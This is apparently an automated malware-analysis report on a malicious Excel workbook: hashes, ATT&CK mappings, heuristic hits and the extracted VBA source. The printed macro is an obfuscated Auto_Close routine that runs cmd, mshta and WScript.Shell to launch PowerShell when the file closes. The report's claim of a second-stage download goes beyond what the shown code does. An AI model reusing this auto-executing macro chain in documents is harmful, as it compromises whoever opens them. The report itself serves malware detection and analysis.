Office (OOXML) malware analysis — malicious · eadf02162e67d712

MALICIOUS

Office (OOXML)

12.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-16

MD5: 1eb43f41aafff608614b053cb13e9909 SHA-1: 4b6af2593bbb7fd63ac12e0fdf28648c9c0a0071 SHA-256: eadf02162e67d712dcc84b5f9ab07ba0371f910aed74c21930be2225733aab76

328 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1218.005 Client Execution: Mshta T1059.003 Windows Command Shell T1203 Exploitation for Client Execution

The VBA macro Auto_Close function contains critical heuristic firings for Shell(), PowerShell, cmd.exe, and LOLBin usage. It constructs a command that uses mshta to execute a VBScript, which in turn creates a WScript.Shell object to run PowerShell. This indicates the document is designed to download and execute a second-stage payload. The specific command executed is: cmd /c mshta vbscript:(CreateObject("WS"+"C"+"rI"+"Pt.ShEll")).Run("powershell",1,True)(window.close): Shell "ping": Shell "ping".

Heuristics 8

VBA project inside OOXML medium 7 related findings OOXML_VBA

Document contains a VBA project — VBA macros present

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

   Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close):  Shell "ping": Shell "ping"

PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA

Matched line in script

   Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close):  Shell "ping": Shell "ping"

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

   Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close):  Shell "ping": Shell "ping"

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

   Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close):  Shell "ping": Shell "ping"

cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA

Matched line in script

   Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close):  Shell "ping": Shell "ping"

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
Attribute VB_Customizable = True
Function Auto_ClOse() As Variant
```

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	856 bytes
SHA-256: `d8bb20962316711b4223aa276bcc7543cf2dee958fdda5f5ac2f022cc2109863`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Workbook______________" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Worksheet______1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Function Auto_ClOse() As Variant Shell "cmd /c mshta vbscript:(CreateObject(“WS”+”C”+”rI”+”Pt.ShEll”)).Run(“powershell”,1,True)(window.close): Shell "ping": Shell "ping" End Function
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	12800 bytes
SHA-256: `d6a65d828cebd8deb57b5cb6a0d411192099cc2eac31196ba9cd3a7397a17dd7`

Open this report in the interactive analyzer, or submit your own file for analysis.